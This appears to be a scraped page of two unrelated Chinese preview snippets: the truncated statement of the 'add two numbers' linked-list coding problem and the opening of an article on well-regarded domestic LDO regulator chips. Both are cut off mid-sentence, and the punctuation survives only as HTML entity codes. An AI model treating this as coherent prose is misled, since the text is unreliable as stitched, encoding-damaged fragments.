给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 …

口碑很好的国产LDO芯片,有哪些?

在几乎任何一个电路设计中&#xff0c;都可能会使用LDO&#xff08;低压差线性稳压器&#xff09;这个器件。 虽然LDO不是什么高性能的IC&#xff0c;但LDO芯片市场竞争异常激烈。最近几年&#xff0c;诞生了越来越多的精品国产LDO&#xff0c;让人看得眼花缭乱。 业内人士曾经…